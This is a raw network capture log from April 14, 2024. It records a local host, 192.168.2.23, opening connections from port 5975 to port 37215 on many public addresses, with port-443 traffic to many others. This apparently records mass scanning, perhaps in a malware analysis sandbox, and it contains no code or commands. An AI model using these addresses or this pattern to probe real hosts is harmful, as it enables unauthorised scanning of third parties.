Apr 14, 2024 03:59:52.058811903 CEST	2135	443	192.168.2.23	42.122.155.145
Apr 14, 2024 03:59:52.058814049 CEST	443	2135	210.39.226.143	192.168.2.23
Apr 14, 2024 03:59:52.058818102 CEST	2135	443	192.168.2.23	202.124.163.64
Apr 14, 2024 03:59:52.058818102 CEST	443	2135	42.122.155.145	192.168.2.23
Apr 14, 2024 03:59:52.058818102 CEST	2135	443	192.168.2.23	117.148.55.3
Apr 14, 2024 03:59:52.058829069 CEST	443	2135	202.124.163.64	192.168.2.23
Apr 14, 2024 03:59:52.058832884 CEST	5975	37215	192.168.2.23	197.61.212.1
Apr 14, 2024 03:59:52.058832884 CEST	2135	443	192.168.2.23	178.28.76.45
Apr 14, 2024 03:59:52.058835030 CEST	2135	443	192.168.2.23	118.126.70.167
Apr 14, 2024 03:59:52.058835030 CEST	5975	37215	192.168.2.23	156.27.183.96
Apr 14, 2024 03:59:52.058835983 CEST	5975	37215	192.168.2.23	197.57.208.203
Apr 14, 2024 03:59:52.058842897 CEST	2135	443	192.168.2.23	210.39.226.143
Apr 14, 2024 03:59:52.058842897 CEST	2135	443	192.168.2.23	148.233.104.90
Apr 14, 2024 03:59:52.058844090 CEST	443	2135	118.126.70.167	192.168.2.23
Apr 14, 2024 03:59:52.058845043 CEST	5975	37215	192.168.2.23	197.115.82.252
Apr 14, 2024 03:59:52.058845043 CEST	2135	443	192.168.2.23	42.122.155.145
Apr 14, 2024 03:59:52.058845997 CEST	443	2135	178.28.76.45	192.168.2.23
Apr 14, 2024 03:59:52.058845043 CEST	5975	37215	192.168.2.23	41.17.172.141
Apr 14, 2024 03:59:52.058851957 CEST	443	2135	148.233.104.90	192.168.2.23
Apr 14, 2024 03:59:52.058852911 CEST	2135	443	192.168.2.23	202.124.163.64
Apr 14, 2024 03:59:52.058866978 CEST	2135	443	192.168.2.23	210.232.231.207
Apr 14, 2024 03:59:52.058866978 CEST	5975	37215	192.168.2.23	41.126.252.251
Apr 14, 2024 03:59:52.058867931 CEST	2135	443	192.168.2.23	2.16.138.96
Apr 14, 2024 03:59:52.058870077 CEST	2135	443	192.168.2.23	212.173.233.40
Apr 14, 2024 03:59:52.058871984 CEST	2135	443	192.168.2.23	118.126.70.167
Apr 14, 2024 03:59:52.058875084 CEST	443	2135	210.232.231.207	192.168.2.23
Apr 14, 2024 03:59:52.058875084 CEST	443	2135	2.16.138.96	192.168.2.23
Apr 14, 2024 03:59:52.058876038 CEST	2135	443	192.168.2.23	148.233.104.90
Apr 14, 2024 03:59:52.058876991 CEST	443	2135	212.173.233.40	192.168.2.23
Apr 14, 2024 03:59:52.058882952 CEST	2135	443	192.168.2.23	178.28.76.45
Apr 14, 2024 03:59:52.058892965 CEST	2135	443	192.168.2.23	148.154.213.197
Apr 14, 2024 03:59:52.058900118 CEST	5975	37215	192.168.2.23	41.120.67.109
Apr 14, 2024 03:59:52.058902025 CEST	2135	443	192.168.2.23	2.192.239.140
Apr 14, 2024 03:59:52.058902025 CEST	5975	37215	192.168.2.23	41.205.109.233
Apr 14, 2024 03:59:52.058903933 CEST	443	2135	148.154.213.197	192.168.2.23
Apr 14, 2024 03:59:52.058906078 CEST	2135	443	192.168.2.23	212.173.233.40
Apr 14, 2024 03:59:52.058908939 CEST	2135	443	192.168.2.23	2.16.138.96
Apr 14, 2024 03:59:52.058908939 CEST	443	2135	2.192.239.140	192.168.2.23
Apr 14, 2024 03:59:52.058908939 CEST	5975	37215	192.168.2.23	156.219.228.115
Apr 14, 2024 03:59:52.058916092 CEST	5975	37215	192.168.2.23	197.203.123.6
Apr 14, 2024 03:59:52.058916092 CEST	2135	443	192.168.2.23	210.232.231.207
Apr 14, 2024 03:59:52.058926105 CEST	5975	37215	192.168.2.23	41.73.221.148
Apr 14, 2024 03:59:52.058932066 CEST	2135	443	192.168.2.23	123.57.142.11
Apr 14, 2024 03:59:52.058932066 CEST	2135	443	192.168.2.23	148.155.84.61
Apr 14, 2024 03:59:52.058933020 CEST	5975	37215	192.168.2.23	197.80.239.69
Apr 14, 2024 03:59:52.058933020 CEST	2135	443	192.168.2.23	148.181.60.16
Apr 14, 2024 03:59:52.058933973 CEST	2135	443	192.168.2.23	123.146.144.92
Apr 14, 2024 03:59:52.058933973 CEST	2135	443	192.168.2.23	148.154.213.197
Apr 14, 2024 03:59:52.058938026 CEST	443	2135	148.155.84.61	192.168.2.23
Apr 14, 2024 03:59:52.058938026 CEST	2135	443	192.168.2.23	42.22.187.23
Apr 14, 2024 03:59:52.058938980 CEST	443	2135	123.57.142.11	192.168.2.23
Apr 14, 2024 03:59:52.058939934 CEST	2135	443	192.168.2.23	2.192.239.140
Apr 14, 2024 03:59:52.058943033 CEST	443	2135	123.146.144.92	192.168.2.23
Apr 14, 2024 03:59:52.058944941 CEST	443	2135	148.181.60.16	192.168.2.23
Apr 14, 2024 03:59:52.058945894 CEST	443	2135	42.22.187.23	192.168.2.23
Apr 14, 2024 03:59:52.058959007 CEST	2135	443	192.168.2.23	178.196.85.197
Apr 14, 2024 03:59:52.058962107 CEST	5975	37215	192.168.2.23	41.194.180.215
Apr 14, 2024 03:59:52.058965921 CEST	2135	443	192.168.2.23	109.187.131.197
Apr 14, 2024 03:59:52.058965921 CEST	2135	443	192.168.2.23	123.8.160.67
Apr 14, 2024 03:59:52.058967113 CEST	5975	37215	192.168.2.23	197.42.40.94
Apr 14, 2024 03:59:52.058967113 CEST	443	2135	178.196.85.197	192.168.2.23
Apr 14, 2024 03:59:52.058967113 CEST	5975	37215	192.168.2.23	197.220.88.239
Apr 14, 2024 03:59:52.058967113 CEST	2135	443	192.168.2.23	123.57.142.11
Apr 14, 2024 03:59:52.058969021 CEST	2135	443	192.168.2.23	148.155.84.61
Apr 14, 2024 03:59:52.058975935 CEST	2135	443	192.168.2.23	148.181.60.16
Apr 14, 2024 03:59:52.058976889 CEST	443	2135	109.187.131.197	192.168.2.23
Apr 14, 2024 03:59:52.058979034 CEST	2135	443	192.168.2.23	123.146.144.92
Apr 14, 2024 03:59:52.058980942 CEST	2135	443	192.168.2.23	42.22.187.23
Apr 14, 2024 03:59:52.058988094 CEST	443	2135	123.8.160.67	192.168.2.23
Apr 14, 2024 03:59:52.058990002 CEST	2135	443	192.168.2.23	37.251.105.147
Apr 14, 2024 03:59:52.058990955 CEST	5975	37215	192.168.2.23	156.158.45.40
Apr 14, 2024 03:59:52.058994055 CEST	2135	443	192.168.2.23	79.115.143.10
Apr 14, 2024 03:59:52.058996916 CEST	443	2135	37.251.105.147	192.168.2.23
Apr 14, 2024 03:59:52.059000969 CEST	2135	443	192.168.2.23	109.187.131.197
Apr 14, 2024 03:59:52.059001923 CEST	443	2135	79.115.143.10	192.168.2.23
Apr 14, 2024 03:59:52.059007883 CEST	2135	443	192.168.2.23	178.196.85.197
Apr 14, 2024 03:59:52.059014082 CEST	2135	443	192.168.2.23	2.91.133.242
Apr 14, 2024 03:59:52.059015989 CEST	2135	443	192.168.2.23	123.8.160.67
Apr 14, 2024 03:59:52.059026003 CEST	443	2135	2.91.133.242	192.168.2.23
Apr 14, 2024 03:59:52.059027910 CEST	2135	443	192.168.2.23	37.251.105.147
Apr 14, 2024 03:59:52.059026003 CEST	5975	37215	192.168.2.23	197.220.220.234
Apr 14, 2024 03:59:52.059027910 CEST	5975	37215	192.168.2.23	41.103.77.140
Apr 14, 2024 03:59:52.059042931 CEST	2135	443	192.168.2.23	79.115.143.10
Apr 14, 2024 03:59:52.059042931 CEST	5975	37215	192.168.2.23	41.155.72.2
Apr 14, 2024 03:59:52.059043884 CEST	5975	37215	192.168.2.23	156.61.237.78
Apr 14, 2024 03:59:52.059042931 CEST	2135	443	192.168.2.23	202.125.179.174
Apr 14, 2024 03:59:52.059042931 CEST	2135	443	192.168.2.23	5.51.209.48
Apr 14, 2024 03:59:52.059046984 CEST	2135	443	192.168.2.23	202.156.201.126
Apr 14, 2024 03:59:52.059053898 CEST	443	2135	202.156.201.126	192.168.2.23
Apr 14, 2024 03:59:52.059058905 CEST	443	2135	202.125.179.174	192.168.2.23
Apr 14, 2024 03:59:52.059058905 CEST	2135	443	192.168.2.23	178.119.166.160
Apr 14, 2024 03:59:52.059058905 CEST	5975	37215	192.168.2.23	156.91.217.55
Apr 14, 2024 03:59:52.059058905 CEST	2135	443	192.168.2.23	79.19.116.255
Apr 14, 2024 03:59:52.059067965 CEST	443	2135	178.119.166.160	192.168.2.23
Apr 14, 2024 03:59:52.059070110 CEST	2135	443	192.168.2.23	117.170.54.224
Apr 14, 2024 03:59:52.059071064 CEST	443	2135	5.51.209.48	192.168.2.23
Apr 14, 2024 03:59:52.059073925 CEST	5975	37215	192.168.2.23	156.204.231.208
Apr 14, 2024 03:59:52.059078932 CEST	443	2135	79.19.116.255	192.168.2.23
Apr 14, 2024 03:59:52.059081078 CEST	443	2135	117.170.54.224	192.168.2.23
Apr 14, 2024 03:59:52.059079885 CEST	2135	443	192.168.2.23	2.91.133.242
Apr 14, 2024 03:59:52.059086084 CEST	2135	443	192.168.2.23	123.233.99.4
Apr 14, 2024 03:59:52.059092045 CEST	443	2135	123.233.99.4	192.168.2.23
Apr 14, 2024 03:59:52.059091091 CEST	2135	443	192.168.2.23	202.125.179.174
Apr 14, 2024 03:59:52.059092999 CEST	2135	443	192.168.2.23	79.0.46.210
Apr 14, 2024 03:59:52.059092999 CEST	5975	37215	192.168.2.23	156.81.74.222
Apr 14, 2024 03:59:52.059092999 CEST	2135	443	192.168.2.23	202.156.201.126
Apr 14, 2024 03:59:52.059097052 CEST	5975	37215	192.168.2.23	41.68.232.252
Apr 14, 2024 03:59:52.059099913 CEST	2135	443	192.168.2.23	178.119.166.160
Apr 14, 2024 03:59:52.059102058 CEST	5975	37215	192.168.2.23	197.112.250.254
Apr 14, 2024 03:59:52.059099913 CEST	2135	443	192.168.2.23	79.19.116.255
Apr 14, 2024 03:59:52.059107065 CEST	2135	443	192.168.2.23	5.51.209.48
Apr 14, 2024 03:59:52.059108019 CEST	443	2135	79.0.46.210	192.168.2.23
Apr 14, 2024 03:59:52.059120893 CEST	2135	443	192.168.2.23	117.170.54.224
Apr 14, 2024 03:59:52.059123039 CEST	2135	443	192.168.2.23	5.139.126.46
Apr 14, 2024 03:59:52.059123039 CEST	5975	37215	192.168.2.23	197.223.123.122
Apr 14, 2024 03:59:52.059123039 CEST	2135	443	192.168.2.23	123.233.99.4
Apr 14, 2024 03:59:52.059123039 CEST	2135	443	192.168.2.23	118.237.228.203
Apr 14, 2024 03:59:52.059123993 CEST	2135	443	192.168.2.23	202.34.43.71
Apr 14, 2024 03:59:52.059129000 CEST	5975	37215	192.168.2.23	197.220.229.152
Apr 14, 2024 03:59:52.059129953 CEST	443	2135	5.139.126.46	192.168.2.23
Apr 14, 2024 03:59:52.059129953 CEST	5975	37215	192.168.2.23	41.187.127.140
Apr 14, 2024 03:59:52.059130907 CEST	443	2135	202.34.43.71	192.168.2.23
Apr 14, 2024 03:59:52.059134960 CEST	443	2135	118.237.228.203	192.168.2.23
Apr 14, 2024 03:59:52.059135914 CEST	2135	443	192.168.2.23	79.0.46.210
Apr 14, 2024 03:59:52.059146881 CEST	2135	443	192.168.2.23	212.241.79.140
Apr 14, 2024 03:59:52.059148073 CEST	2135	443	192.168.2.23	123.245.125.136
Apr 14, 2024 03:59:52.059150934 CEST	5975	37215	192.168.2.23	41.61.219.6
Apr 14, 2024 03:59:52.059153080 CEST	443	2135	212.241.79.140	192.168.2.23
Apr 14, 2024 03:59:52.059154034 CEST	2135	443	192.168.2.23	37.249.171.108
Apr 14, 2024 03:59:52.059155941 CEST	443	2135	123.245.125.136	192.168.2.23
Apr 14, 2024 03:59:52.059160948 CEST	2135	443	192.168.2.23	5.139.126.46
Apr 14, 2024 03:59:52.059160948 CEST	443	2135	37.249.171.108	192.168.2.23
Apr 14, 2024 03:59:52.059164047 CEST	2135	443	192.168.2.23	118.237.228.203
Apr 14, 2024 03:59:52.059168100 CEST	2135	443	192.168.2.23	202.34.43.71
Apr 14, 2024 03:59:52.059171915 CEST	5975	37215	192.168.2.23	41.20.236.188
Apr 14, 2024 03:59:52.059181929 CEST	2135	443	192.168.2.23	212.241.79.140
Apr 14, 2024 03:59:52.059185982 CEST	2135	443	192.168.2.23	123.245.125.136
Apr 14, 2024 03:59:52.059191942 CEST	2135	443	192.168.2.23	37.249.171.108
Apr 14, 2024 03:59:52.059202909 CEST	5975	37215	192.168.2.23	197.140.160.174
Apr 14, 2024 03:59:52.059202909 CEST	5975	37215	192.168.2.23	197.190.190.43
Apr 14, 2024 03:59:52.059207916 CEST	2135	443	192.168.2.23	5.248.163.78
Apr 14, 2024 03:59:52.059211969 CEST	2135	443	192.168.2.23	117.247.235.128
Apr 14, 2024 03:59:52.059214115 CEST	5975	37215	192.168.2.23	197.95.251.87
Apr 14, 2024 03:59:52.059215069 CEST	443	2135	5.248.163.78	192.168.2.23
Apr 14, 2024 03:59:52.059220076 CEST	443	2135	117.247.235.128	192.168.2.23
Apr 14, 2024 03:59:52.059228897 CEST	2135	443	192.168.2.23	5.251.7.217
Apr 14, 2024 03:59:52.059228897 CEST	2135	443	192.168.2.23	202.179.222.27
Apr 14, 2024 03:59:52.059236050 CEST	2135	443	192.168.2.23	210.36.4.116
Apr 14, 2024 03:59:52.059238911 CEST	443	2135	5.251.7.217	192.168.2.23
Apr 14, 2024 03:59:52.059238911 CEST	5975	37215	192.168.2.23	156.72.100.78
Apr 14, 2024 03:59:52.059240103 CEST	2135	443	192.168.2.23	79.13.36.131
Apr 14, 2024 03:59:52.059240103 CEST	5975	37215	192.168.2.23	156.162.29.17
Apr 14, 2024 03:59:52.059240103 CEST	2135	443	192.168.2.23	42.90.205.19
Apr 14, 2024 03:59:52.059241056 CEST	443	2135	210.36.4.116	192.168.2.23
Apr 14, 2024 03:59:52.059238911 CEST	2135	443	192.168.2.23	202.60.74.57
Apr 14, 2024 03:59:52.059238911 CEST	2135	443	192.168.2.23	123.174.233.207
Apr 14, 2024 03:59:52.059242964 CEST	2135	443	192.168.2.23	5.248.163.78
Apr 14, 2024 03:59:52.059247017 CEST	443	2135	202.179.222.27	192.168.2.23
Apr 14, 2024 03:59:52.059251070 CEST	443	2135	202.60.74.57	192.168.2.23
Apr 14, 2024 03:59:52.059251070 CEST	5975	37215	192.168.2.23	156.107.114.56
Apr 14, 2024 03:59:52.059252977 CEST	443	2135	79.13.36.131	192.168.2.23
Apr 14, 2024 03:59:52.059257030 CEST	443	2135	42.90.205.19	192.168.2.23
Apr 14, 2024 03:59:52.059258938 CEST	2135	443	192.168.2.23	117.247.235.128
Apr 14, 2024 03:59:52.059258938 CEST	5975	37215	192.168.2.23	156.203.5.242
Apr 14, 2024 03:59:52.059262991 CEST	443	2135	123.174.233.207	192.168.2.23
Apr 14, 2024 03:59:52.059263945 CEST	2135	443	192.168.2.23	123.31.116.242
Apr 14, 2024 03:59:52.059264898 CEST	2135	443	192.168.2.23	5.251.7.217
Apr 14, 2024 03:59:52.059269905 CEST	2135	443	192.168.2.23	210.36.4.116
Apr 14, 2024 03:59:52.059273005 CEST	443	2135	123.31.116.242	192.168.2.23
Apr 14, 2024 03:59:52.059273005 CEST	2135	443	192.168.2.23	79.91.0.179
Apr 14, 2024 03:59:52.059273958 CEST	2135	443	192.168.2.23	202.179.222.27
Apr 14, 2024 03:59:52.059278011 CEST	2135	443	192.168.2.23	79.13.36.131
Apr 14, 2024 03:59:52.059279919 CEST	443	2135	79.91.0.179	192.168.2.23
Apr 14, 2024 03:59:52.059293032 CEST	2135	443	192.168.2.23	42.90.205.19
Apr 14, 2024 03:59:52.059295893 CEST	2135	443	192.168.2.23	202.60.74.57
Apr 14, 2024 03:59:52.059295893 CEST	2135	443	192.168.2.23	123.174.233.207
Apr 14, 2024 03:59:52.059295893 CEST	2135	443	192.168.2.23	178.205.248.168
Apr 14, 2024 03:59:52.059295893 CEST	5975	37215	192.168.2.23	41.107.244.107
Apr 14, 2024 03:59:52.059298992 CEST	2135	443	192.168.2.23	123.31.116.242
Apr 14, 2024 03:59:52.059309959 CEST	443	2135	178.205.248.168	192.168.2.23
Apr 14, 2024 03:59:52.059312105 CEST	5975	37215	192.168.2.23	41.186.44.133
Apr 14, 2024 03:59:52.059312105 CEST	5975	37215	192.168.2.23	156.166.199.14
Apr 14, 2024 03:59:52.059315920 CEST	2135	443	192.168.2.23	148.144.118.236
Apr 14, 2024 03:59:52.059323072 CEST	443	2135	148.144.118.236	192.168.2.23
Apr 14, 2024 03:59:52.059323072 CEST	2135	443	192.168.2.23	79.91.0.179
Apr 14, 2024 03:59:52.059324026 CEST	5975	37215	192.168.2.23	156.229.89.103
Apr 14, 2024 03:59:52.059334040 CEST	2135	443	192.168.2.23	42.127.58.44
Apr 14, 2024 03:59:52.059334993 CEST	2135	443	192.168.2.23	178.22.225.39
Apr 14, 2024 03:59:52.059336901 CEST	5975	37215	192.168.2.23	156.57.101.152
Apr 14, 2024 03:59:52.059338093 CEST	2135	443	192.168.2.23	94.12.255.168
Apr 14, 2024 03:59:52.059340954 CEST	443	2135	42.127.58.44	192.168.2.23
Apr 14, 2024 03:59:52.059344053 CEST	5975	37215	192.168.2.23	41.210.233.155
Apr 14, 2024 03:59:52.059345961 CEST	443	2135	178.22.225.39	192.168.2.23
Apr 14, 2024 03:59:52.059346914 CEST	443	2135	94.12.255.168	192.168.2.23
Apr 14, 2024 03:59:52.059356928 CEST	2135	443	192.168.2.23	178.205.248.168
Apr 14, 2024 03:59:52.059356928 CEST	5975	37215	192.168.2.23	41.68.58.169
Apr 14, 2024 03:59:52.059357882 CEST	2135	443	192.168.2.23	148.144.118.236
Apr 14, 2024 03:59:52.059359074 CEST	5975	37215	192.168.2.23	41.156.19.196
Apr 14, 2024 03:59:52.059361935 CEST	2135	443	192.168.2.23	178.148.187.33
Apr 14, 2024 03:59:52.059365034 CEST	5975	37215	192.168.2.23	41.203.76.197
Apr 14, 2024 03:59:52.059369087 CEST	443	2135	178.148.187.33	192.168.2.23
Apr 14, 2024 03:59:52.059369087 CEST	2135	443	192.168.2.23	42.127.58.44
Apr 14, 2024 03:59:52.059375048 CEST	5975	37215	192.168.2.23	197.91.163.137
Apr 14, 2024 03:59:52.059375048 CEST	2135	443	192.168.2.23	178.22.225.39
Apr 14, 2024 03:59:52.059381962 CEST	2135	443	192.168.2.23	118.64.99.222
Apr 14, 2024 03:59:52.059381962 CEST	2135	443	192.168.2.23	109.127.186.4
Apr 14, 2024 03:59:52.059386969 CEST	2135	443	192.168.2.23	5.219.41.216
Apr 14, 2024 03:59:52.059387922 CEST	2135	443	192.168.2.23	109.50.12.215
Apr 14, 2024 03:59:52.059387922 CEST	443	2135	118.64.99.222	192.168.2.23
Apr 14, 2024 03:59:52.059391975 CEST	2135	443	192.168.2.23	94.12.255.168
Apr 14, 2024 03:59:52.059392929 CEST	443	2135	5.219.41.216	192.168.2.23
Apr 14, 2024 03:59:52.059396982 CEST	443	2135	109.50.12.215	192.168.2.23
Apr 14, 2024 03:59:52.059397936 CEST	443	2135	109.127.186.4	192.168.2.23
Apr 14, 2024 03:59:52.059406042 CEST	2135	443	192.168.2.23	117.95.41.247
Apr 14, 2024 03:59:52.059406042 CEST	5975	37215	192.168.2.23	197.164.146.244
Apr 14, 2024 03:59:52.059406996 CEST	2135	443	192.168.2.23	37.224.156.183
Apr 14, 2024 03:59:52.059410095 CEST	2135	443	192.168.2.23	94.218.101.73
Apr 14, 2024 03:59:52.059410095 CEST	2135	443	192.168.2.23	178.148.187.33
Apr 14, 2024 03:59:52.059410095 CEST	5975	37215	192.168.2.23	156.115.125.171
Apr 14, 2024 03:59:52.059412003 CEST	443	2135	37.224.156.183	192.168.2.23
Apr 14, 2024 03:59:52.059412956 CEST	443	2135	117.95.41.247	192.168.2.23
Apr 14, 2024 03:59:52.059417963 CEST	443	2135	94.218.101.73	192.168.2.23
Apr 14, 2024 03:59:52.059422016 CEST	2135	443	192.168.2.23	118.64.99.222
Apr 14, 2024 03:59:52.059422016 CEST	2135	443	192.168.2.23	109.127.186.4
Apr 14, 2024 03:59:52.059425116 CEST	5975	37215	192.168.2.23	41.150.160.199
Apr 14, 2024 03:59:52.059425116 CEST	2135	443	192.168.2.23	5.219.41.216
Apr 14, 2024 03:59:52.059427977 CEST	2135	443	192.168.2.23	109.50.12.215
Apr 14, 2024 03:59:52.059437990 CEST	2135	443	192.168.2.23	37.224.156.183
Apr 14, 2024 03:59:52.059438944 CEST	5975	37215	192.168.2.23	41.20.165.240
Apr 14, 2024 03:59:52.059442043 CEST	2135	443	192.168.2.23	117.95.41.247
Apr 14, 2024 03:59:52.059442043 CEST	2135	443	192.168.2.23	37.25.2.245
Apr 14, 2024 03:59:52.059449911 CEST	443	2135	37.25.2.245	192.168.2.23
Apr 14, 2024 03:59:52.059456110 CEST	2135	443	192.168.2.23	94.218.101.73
Apr 14, 2024 03:59:52.059458017 CEST	2135	443	192.168.2.23	202.173.143.26
Apr 14, 2024 03:59:52.059461117 CEST	5975	37215	192.168.2.23	197.63.149.134
Apr 14, 2024 03:59:52.059463024 CEST	5975	37215	192.168.2.23	41.162.158.192
Apr 14, 2024 03:59:52.059463978 CEST	443	2135	202.173.143.26	192.168.2.23
Apr 14, 2024 03:59:52.059465885 CEST	2135	443	192.168.2.23	210.241.5.243
Apr 14, 2024 03:59:52.059470892 CEST	443	2135	210.241.5.243	192.168.2.23
Apr 14, 2024 03:59:52.059478045 CEST	2135	443	192.168.2.23	148.146.87.253
Apr 14, 2024 03:59:52.059483051 CEST	2135	443	192.168.2.23	37.25.2.245
Apr 14, 2024 03:59:52.059483051 CEST	2135	443	192.168.2.23	202.173.143.26
Apr 14, 2024 03:59:52.059484959 CEST	2135	443	192.168.2.23	109.33.45.77
Apr 14, 2024 03:59:52.059485912 CEST	443	2135	148.146.87.253	192.168.2.23
Apr 14, 2024 03:59:52.059489965 CEST	443	2135	109.33.45.77	192.168.2.23
Apr 14, 2024 03:59:52.059492111 CEST	2135	443	192.168.2.23	178.174.7.13
Apr 14, 2024 03:59:52.059497118 CEST	443	2135	178.174.7.13	192.168.2.23
Apr 14, 2024 03:59:52.059503078 CEST	2135	443	192.168.2.23	178.1.183.66
Apr 14, 2024 03:59:52.059506893 CEST	2135	443	192.168.2.23	210.241.5.243
Apr 14, 2024 03:59:52.059506893 CEST	2135	443	192.168.2.23	148.245.200.39
Apr 14, 2024 03:59:52.059509993 CEST	2135	443	192.168.2.23	117.6.98.20
Apr 14, 2024 03:59:52.059509993 CEST	443	2135	178.1.183.66	192.168.2.23
Apr 14, 2024 03:59:52.059510946 CEST	5975	37215	192.168.2.23	156.115.44.176
Apr 14, 2024 03:59:52.059514999 CEST	443	2135	148.245.200.39	192.168.2.23
Apr 14, 2024 03:59:52.059515953 CEST	2135	443	192.168.2.23	148.146.87.253
Apr 14, 2024 03:59:52.059518099 CEST	5975	37215	192.168.2.23	156.97.224.100
Apr 14, 2024 03:59:52.059520006 CEST	443	2135	117.6.98.20	192.168.2.23
Apr 14, 2024 03:59:52.059524059 CEST	5975	37215	192.168.2.23	41.157.87.148
Apr 14, 2024 03:59:52.059524059 CEST	2135	443	192.168.2.23	109.33.45.77
Apr 14, 2024 03:59:52.059531927 CEST	5975	37215	192.168.2.23	41.18.249.246
Apr 14, 2024 03:59:52.059535027 CEST	2135	443	192.168.2.23	178.174.7.13
Apr 14, 2024 03:59:52.059536934 CEST	2135	443	192.168.2.23	79.175.87.221
Apr 14, 2024 03:59:52.059535980 CEST	2135	443	192.168.2.23	212.204.104.50
Apr 14, 2024 03:59:52.059535980 CEST	2135	443	192.168.2.23	148.245.200.39
Apr 14, 2024 03:59:52.059541941 CEST	2135	443	192.168.2.23	123.8.97.78
Apr 14, 2024 03:59:52.059542894 CEST	2135	443	192.168.2.23	178.1.183.66
Apr 14, 2024 03:59:52.059542894 CEST	2135	443	192.168.2.23	118.74.215.0
Apr 14, 2024 03:59:52.059545040 CEST	443	2135	79.175.87.221	192.168.2.23
Apr 14, 2024 03:59:52.059545994 CEST	443	2135	212.204.104.50	192.168.2.23
Apr 14, 2024 03:59:52.059550047 CEST	2135	443	192.168.2.23	178.132.101.157
Apr 14, 2024 03:59:52.059550047 CEST	443	2135	123.8.97.78	192.168.2.23
Apr 14, 2024 03:59:52.059554100 CEST	443	2135	118.74.215.0	192.168.2.23
Apr 14, 2024 03:59:52.059560061 CEST	443	2135	178.132.101.157	192.168.2.23
Apr 14, 2024 03:59:52.059564114 CEST	5975	37215	192.168.2.23	197.66.239.228
Apr 14, 2024 03:59:52.059564114 CEST	5975	37215	192.168.2.23	156.112.178.30
Apr 14, 2024 03:59:52.059564114 CEST	5975	37215	192.168.2.23	156.25.42.140
Apr 14, 2024 03:59:52.059564114 CEST	2135	443	192.168.2.23	117.6.98.20
Apr 14, 2024 03:59:52.059571028 CEST	5975	37215	192.168.2.23	197.155.128.42
Apr 14, 2024 03:59:52.059573889 CEST	2135	443	192.168.2.23	212.204.104.50
Apr 14, 2024 03:59:52.059576988 CEST	2135	443	192.168.2.23	79.175.87.221
Apr 14, 2024 03:59:52.059585094 CEST	2135	443	192.168.2.23	123.8.97.78
Apr 14, 2024 03:59:52.059586048 CEST	2135	443	192.168.2.23	123.216.211.143
Apr 14, 2024 03:59:52.059587955 CEST	2135	443	192.168.2.23	178.132.101.157
Apr 14, 2024 03:59:52.059590101 CEST	2135	443	192.168.2.23	118.74.215.0
Apr 14, 2024 03:59:52.059596062 CEST	5975	37215	192.168.2.23	41.241.138.164
Apr 14, 2024 03:59:52.059597015 CEST	443	2135	123.216.211.143	192.168.2.23
Apr 14, 2024 03:59:52.059596062 CEST	2135	443	192.168.2.23	118.75.24.252
Apr 14, 2024 03:59:52.059606075 CEST	2135	443	192.168.2.23	212.109.110.151
Apr 14, 2024 03:59:52.059611082 CEST	2135	443	192.168.2.23	210.212.12.137
Apr 14, 2024 03:59:52.059611082 CEST	443	2135	118.75.24.252	192.168.2.23
Apr 14, 2024 03:59:52.059612036 CEST	5975	37215	192.168.2.23	41.25.182.213
Apr 14, 2024 03:59:52.059617043 CEST	443	2135	210.212.12.137	192.168.2.23
Apr 14, 2024 03:59:52.059617996 CEST	443	2135	212.109.110.151	192.168.2.23
Apr 14, 2024 03:59:52.059619904 CEST	5975	37215	192.168.2.23	41.29.131.243
Apr 14, 2024 03:59:52.059632063 CEST	5975	37215	192.168.2.23	156.92.74.96
Apr 14, 2024 03:59:52.059632063 CEST	2135	443	192.168.2.23	123.216.211.143
Apr 14, 2024 03:59:52.059633017 CEST	2135	443	192.168.2.23	109.66.145.173
Apr 14, 2024 03:59:52.059633017 CEST	2135	443	192.168.2.23	210.234.204.105
Apr 14, 2024 03:59:52.059633970 CEST	5975	37215	192.168.2.23	41.25.229.158
Apr 14, 2024 03:59:52.059634924 CEST	5975	37215	192.168.2.23	156.227.128.162
Apr 14, 2024 03:59:52.059633017 CEST	5975	37215	192.168.2.23	41.63.216.8
Apr 14, 2024 03:59:52.059634924 CEST	2135	443	192.168.2.23	118.75.24.252
Apr 14, 2024 03:59:52.059638023 CEST	5975	37215	192.168.2.23	197.224.75.203
Apr 14, 2024 03:59:52.059633017 CEST	5975	37215	192.168.2.23	197.245.123.81
Apr 14, 2024 03:59:52.059650898 CEST	2135	443	192.168.2.23	210.212.12.137
Apr 14, 2024 03:59:52.059653044 CEST	443	2135	109.66.145.173	192.168.2.23
Apr 14, 2024 03:59:52.059663057 CEST	443	2135	210.234.204.105	192.168.2.23
Apr 14, 2024 03:59:52.059665918 CEST	5975	37215	192.168.2.23	41.130.168.6
Apr 14, 2024 03:59:52.059665918 CEST	2135	443	192.168.2.23	5.86.203.178
Apr 14, 2024 03:59:52.059669018 CEST	2135	443	192.168.2.23	109.31.60.83
Apr 14, 2024 03:59:52.059674978 CEST	443	2135	5.86.203.178	192.168.2.23
Apr 14, 2024 03:59:52.059679031 CEST	443	2135	109.31.60.83	192.168.2.23
Apr 14, 2024 03:59:52.059683084 CEST	2135	443	192.168.2.23	37.94.97.249
Apr 14, 2024 03:59:52.059684038 CEST	2135	443	192.168.2.23	210.167.4.101
Apr 14, 2024 03:59:52.059685946 CEST	2135	443	192.168.2.23	212.109.110.151
Apr 14, 2024 03:59:52.059685946 CEST	5975	37215	192.168.2.23	197.247.65.102
Apr 14, 2024 03:59:52.059685946 CEST	2135	443	192.168.2.23	109.66.145.173
Apr 14, 2024 03:59:52.059685946 CEST	2135	443	192.168.2.23	117.23.228.175
Apr 14, 2024 03:59:52.059685946 CEST	2135	443	192.168.2.23	210.234.204.105
Apr 14, 2024 03:59:52.059689999 CEST	443	2135	210.167.4.101	192.168.2.23
Apr 14, 2024 03:59:52.059689999 CEST	443	2135	37.94.97.249	192.168.2.23
Apr 14, 2024 03:59:52.059703112 CEST	443	2135	117.23.228.175	192.168.2.23
Apr 14, 2024 03:59:52.059704065 CEST	2135	443	192.168.2.23	42.231.76.146
Apr 14, 2024 03:59:52.059705019 CEST	2135	443	192.168.2.23	5.86.203.178
Apr 14, 2024 03:59:52.059709072 CEST	5975	37215	192.168.2.23	197.20.178.76
Apr 14, 2024 03:59:52.059710026 CEST	2135	443	192.168.2.23	109.31.60.83
Apr 14, 2024 03:59:52.059715033 CEST	443	2135	42.231.76.146	192.168.2.23
Apr 14, 2024 03:59:52.059720039 CEST	5975	37215	192.168.2.23	156.235.73.4
Apr 14, 2024 03:59:52.059721947 CEST	2135	443	192.168.2.23	210.167.4.101
Apr 14, 2024 03:59:52.059727907 CEST	2135	443	192.168.2.23	37.94.97.249
Apr 14, 2024 03:59:52.059727907 CEST	2135	443	192.168.2.23	118.128.38.60
